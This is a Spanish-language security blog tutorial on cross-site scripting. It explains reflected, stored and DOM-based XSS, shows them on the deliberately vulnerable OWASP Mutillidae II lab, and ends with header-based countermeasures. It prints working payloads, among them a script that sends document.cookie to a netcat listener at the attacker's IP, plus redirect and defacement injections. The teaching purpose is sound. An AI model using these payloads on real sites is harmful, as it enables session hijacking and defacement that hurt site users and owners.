lunes, 13 de septiembre de 2021

XSS, Un mal que nunca acaba

Empecemos por ¿Qué es un Cross-Site Scripting o XSS?

Definámoslo de una manera sencilla, son un tipo de inyecciones. Un Cross-Site al final es una ejecución de código malicioso que puede ser JavaScript, HTML o cualquier otro lenguaje siempre y cuando el entorno donde se vaya a ejecutar sea compatible con la plataforma en la que se está ejecutando y afecte a la plataforma realizando acciones maliciosas definidas por el usuario que no espera la plataforma y esto se produce por un input mal filtrado.

Por definir un poquito los términos y para que ya nos vayan sonando, JavaScript es un lenguaje de programación interpretado que permite compilar el código durante la ejecución y actualmente es utilizado por muchísimas páginas web.

JavaScript permite que la aplicación cliente, es decir, el sitio web, procese la información que recibe del servidor o desea enviar como, por ejemplo, publicar un mensaje, enviar credenciales de usuario para iniciar sesión, etc., o incluso renderizar juegos. Actualmente se usa en muchas aplicaciones y distintas plataformas por ejemplo de CMS (Sistema de gestión de contenidos) como son Wordpress, Drupal, Jommla, Shopify, etc...

Los scripts son pequeños programas usados para ejecutar acciones automatizadas. Y pueden estar programados en diversos lenguajes: Java, HTML, etc. Hoy en día muchas de las webs son vulnerables a complementos JavaScript.

Explicaremos a continuación un ejemplo de XSS. Un atacante podría inyectar datos maliciosos en un parámetro de entrada, es decir en un input y que éstos fueran devueltos al navegador del usuario sin las validaciones necesarias. Esto le permitiría llegar a hacerse con el control del navegador del usuario víctima, incluyendo la posibilidad de falsear el contenido de las páginas o capturar credenciales de autenticación o cualquier dato sensible que se pudiera transmitir.

Definamos input para el que no lo sepa, es cualquier sitio de la página web en donde podemos escribir algo, ya sea un campo de búsqueda, un comentario, etc...

¿Qué se puede hacer con un XSS?

  • Defacement (es decir, modificar un sitio web)
  • Robar cookies y sesiones de usuarios
  • Ataques phishing
  • Realizar HTTP requests con la sesión del usuario
  • Redireccionar a usuarios a sitios dañinos
  • Atacar al navegador o instalar malware
  • En definitiva, ejecución de código en JS
  • Reescribir o manipular extensiones de navegador, etc...

Y os preguntaréis, vale y donde podría realizar este tipo de ataques. Pues muy sencillo se puede probar en cualquier campo que tengamos un input y que este no filtre correctamente los datos.

Los ataques de XSS hay que comentar que son posibles también en VBScript, Flash, ActiveX y CSS, aunque, normalmente son más comunes en JavaScript.

Cuando nuestro navegador visita una página web este envía una petición y el servidor devuelve una respuesta HTTP al navegador con información y los distintos metadatos que podrían ser rastreados por terceros.

Cada pieza de código que se ejecuta puede dar lugar a que un atacante sea capaz de modificar, robar o filtrar información mediante ataques del lado del cliente ejecutados por JavaScript.

Podemos dar con un sitio que ha sido modificado de forma maliciosa o que en su defecto haya sufrido algún ataque y pueda afectar a la seguridad de las personas que lo visiten.

Podríamos decir que estos ataques se clasifican en 3 tipos: reflejados, almacenados y DOM.

XSS reflejados o no persistentes: Como su nombre bien dice, no almacenan el código malicioso en el servidor, sino que lo facilitan y presentan directamente a la víctima. Por explicarlo de otra manera, el usuario recibe un enlace manipulado (por un atacante) y en el momento que el usuario ejecuta/abre ese enlace el código malicioso se ejecuta en el navegador de la víctima.

Normalmente, cuando hay este tipo de debilidades por así decirlo, para explotarlas es necesario enviar el enlace a la víctima o hacer algún tipo de phising para que el usuario visite la web y se ejecute el script.

XSS Almacenados o persistente: se almacena en el servidor donde está alojada la página web. Por poner un ejemplo, imagínate los típicos foros, blogs… en donde se puede introducir un comentario y ahí escribir nuestro código malicioso, si la web fuera vulnerable cada persona que leyera ese comentario lo ejecutaría.  La inyección en este caso a diferencia del reflejado es que en realidad se almacena permanentemente en el (servidor) en este caso en el blog, foro, etc…

Luego por otro lado están los XSS DOM: el ataque se ejecuta como resultado de la modificación del DocumentObjectModel (Modelo de objeto de documento) en el navegador de la víctima, la totalidad del flujo de datos sucede en el navegador, es decir, los datos no llegan al servidor. Los filtros del lado servidor no pueden detener estos ataques, debido a que todo lo escrito después de “#” nunca se envía al servidor.

Un ataque XSS basado en DOM es posible si la aplicación web escribe datos en el modelo de objetos del documento sin el saneamiento adecuado. El modelo de objetos de documento es una convención utilizada para representar y trabajar con objetos en un documento HTML (así como en otros tipos de documentos). Todos los documentos HTML tienen un DOM asociado que consta de objetos, que representan las propiedades del documento desde el punto de vista del navegador. Cuando se ejecuta un script del lado del cliente, puede usar el DOM de la página HTML donde se ejecuta el script. El script puede acceder a varias propiedades de la página y cambiar sus valores.

Esto sin la práctica no podría quedar del todo claro. Vamos a utilizar para ello la plataforma que OWASP Mutillidae II. Es una aplicación web libre, open source y vulnerable para practicar todas las vulnerabilidades recogidas en el OWASP Top 10.

Empecemos por los XSS reflejados. Para ello, desplegamos el menú de nuestra herramienta Mutillidae que ves en la imagen y hacemos clic donde dice “DNS Lookup


Ahora se nos ha cargado una página en donde nos dice introduzcamos una IP o un Host.
Si inspeccionamos el elemento (clic derecho>Inspect Element) podremos ver las propiedades ese input y jugar con el código.



Como vemos hay un límite de tamaño de texto que nos deja escribir, en este caso un texto de 20 caracteres, para ello hacemos doble clic y lo cambiamos a por ejemplo 50, para que nos permita escribir nuestro script.



Luego a continuación vamos al input como vemos en la imagen y escribimos nuestro código JavaScript, el típico alert:

<script>alert("Test")</script>
 
y hacemos clic en Lookup DNS



Y como vemos se nos ejecuta nuestro XSS y nos lo muestra en un pop-up.


Por tanto y cómo podemos ver esto indica que la página es vulnerable a ataques de Cross-site scripting.

Sigamos con los XSS persistentes o almacenados, en este caso vamos a cargar el siguiente menú. Para ello vamos a “Add your blog” como vemos en la imagen.




Una vez hecho eso se nos cargará el siguiente menú, que es una especie de blog en donde tenemos otro input: (Si nos fijamos abajo vemos los comentarios que ha realizado la gente)




Ahora escribamos nuestro código de JavaScript malicioso, para ello, vamos a escribir lo siguiente:

<script>alert("Esto es un xss almacenado o persistente");</script>




En cuanto lo ponemos como vemos se ejecuta el XSS.




Ahora cada vez que un usuario viste este blog para ver los comentarios se ejecutará el XSS.

Y, por último, vamos a realizar el ataque XSS DOM. Aquí hay que comentar que es muy similar al reflejado, pero lo más probable es que los datos nunca lleguen al servidor. Para que se entienda un poco mejor, en este caso, el daño se provoca por medio de un script que se ejecutará en el navegador (en el lado cliente).

Para ejecutar esta última prueba vamos a ir al siguiente menú:




Y veremos lo siguiente:




En este ejercicio, como ves, muestra un formulario que guarda información. Si intentas agregar algún dato vas a ver que no hay comunicación de red. Para ello pulsa F12 en Mozilla Firefox o Chrome para abrir las herramientas de desarrollador e irte al apartado de Network:




Agrega cualquier comentario y verás que en el apartado de Network no aparece nada. Por tanto, como ya tenemos localizado el punto de ataque, vamos a escribir ahora nuestro script malicioso y ver si se ejecuta. Para ello vamos a escribir lo siguiente:

'<iframe src=javascript:alert("XSS DOM")>'

Otro punto importante en el que hay que fijarse es en el campo de Network, que cuando lo ejecutemos como os comentaba anteriormente no habrá comunicación contra el servidor. Es decir, solo se interactúa contra el navegador.



Si os fijáis, veréis que se ha cargado un iframe* pero no ha habido comunicación con el servidor (en Network abajo no aparece tráfico).




*Iframe- es la abreviatura de Inline Frame. Un iFrame es un marco (frame) dentro de un marco. Permite incluir un fragmento de contenido de otras fuentes.

Cuales suelen ser los escenarios de los XSS, podríamos desglosarlos en tres partes: el usuario, el sitio web y el ciberatacante. Este último aprovechando una vulnerabilidad en la página web inyecta código malicioso a la misma. Posteriormente, el usuario al acceder al sitio web y el código malicioso se transfiere automáticamente a su navegador. Un script malicioso de esta naturaleza podría acceder a las cookies, o a tokens de sesiones abiertas u otra información confidencial o también podría infectarnos con malware o ejecutar algún tipo de exploit, etc...

Sigamos un poquito más:

Como robar las cookies

Vamos a ver cómo podemos conseguir unas cookies de un usuario de manera sencilla.

Primero, vamos a poner a la escucha el netcat* (es una herramienta que nos permite a través de una terminal abrir puertos TCP/IP en un dispositivo) en nuestra máquina como “atacante”, para que cuando se ejecute el script malicioso podamos recibir los datos en nuestra máquina.

nc –lvp 1234


Ya lo tenemos a la escucha, definamos ahora que es cada parámetro:

-l: sirve para que abramos un puerto y se mantenga a la escucha. Es decir, estaremos a la espera para que se nos transmitan los datos que ejecutemos desde la máquina víctima.

-v: Se usa para mostrar información acerca de la conexión.

-p: el puerto que queramos poner. Yo en mi caso he puesto el 1234

Ahora antes de preparar el script vamos a saber cuál es nuestra IP para ello:

Ifconfig eth0 (si hacéis ifconfig solo veréis todas vuestras interfaces)


Ahora abrimos de nuevo nuestra herramienta Mutillidae y desplegamos el siguiente menú “DNS Lookup”:




Ahora en el campo de entrada voy a escribir mi código JavaScript malicioso para capturar la cookie:

<script>document.location='http://192.168.0.32:1234/cgi-bin/grab.cgi?'+document.cookie;</script>

Con este script lo que decimos es que apunte a nuestra IP 192.168.0.32 y que nos extraiga la cookie




Si hacemos clic ahora en Lookup DNS se ejecutará nuestro script y seguidamente si nos vamos a nuestra terminal donde teníamos puesto el netcat a la escucha veremos que nos ha devuelto la conexión con la cookie que queríamos extraer.




Ya con esta cookie que acabamos de obtener podríamos utilizarla y navegar por la aplicación igual que lo estaba haciendo nuestra víctima.




Sigamos, ahora veamos cómo hacer un defacement con un XSS:

Lo primero definamos que es un defacement, que es ni más ni menos que un ataque a un sitio web que cambia la apariencia visual de una página web, ya sea con una imagen, el fondo de la aplicación, alterar el código JavaScript del sitio, etc..

Ahora imaginaros el mismo escenario de antes, por ejemplo un blog en el que se pueden dejar comentarios, que pasaría si yo ahora realizo un ataque de XSS y cada vez que se ejecute cuando el usuario visite el foro que apunte a otra página cada vez que cargue ese comentario, ¿os imagináis el impacto?

Vamos a verlo. Para ello, cargamos el mismo menú de antes para que podamos reproducirlo.




Una vez hecho esto vamos a introducir nuestro script malicioso:
 
<script>window.location.assign("https://www.isecauditors.com/sites/all/themes/theme905/logo.png");</script>

Con esto lo que hemos hecho es redireccionar a nuestra página web, en este caso hemos redireccionado a un logo de nuestra empresa, pero podríamos poner una imagen, cambiar el fondo,etc… Entonces con esto lo que hemos hecho es que ahora cada vez que visiten el foro este redireccionará al logo al que hemos apuntado.



No obstante comentaros que hay muchísimos payloads con los que podréis jugar. Os dejo una lista aquí.
https://github.com/payloadbox/xss-payload-list

Algunas contramedidas o como remediarlo:

Una característica que podemos añadir en nuestros encabezados de respuesta HTTP cuando creamos nuestra aplicación son los “XSS-Protection” para evitar ataques Cross-Site XSS. Esto “evita” que un atacante pueda inyectar código XSS en nuestro sitio web. Con ella bloqueamos que se añadan datos desde fuentes no confiables y que valide los datos, por ejemplo, no dejando pasar el contenido malicioso antes de ser enviado.

En navegadores modernos, esta protección ya se encuentra incluida en la protección del encabezado Content-Security-Policy. Pero aun así es conveniente añadirla por los navegadores antiguos que no reconocen el encabezado Content-Security-Policy.

Pequeña guía:

X-XSS-Protection: 0 Desactiva el filtro XSS
X-XSS-Protection: 1 Activa el filtro XSS y limpia la página de scripting.
X-XSS-Protection: 1; mode=block Activa el filtro XSS y evita la visualización de la página en caso de detectarse el ataque.
X-XSS-Protection: 1; report= Activa el filtro XSS, limpia la página de scripting y envía un reporte.

Ejemplos configuración:

Configuración en Apache:
$ header set X-XSS-Protection "1; mode=block; report=https://test.es"
Configuración en Nginx:
$ add_header X-XSS-Protection "1; mode=block; report=https://test.es";

Para más información también podéis visitar la web de Owasp:
https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html



Autor: Héctor Berrocal - CEH, MCP, CCNA, ITIL
Dpto. Auditoría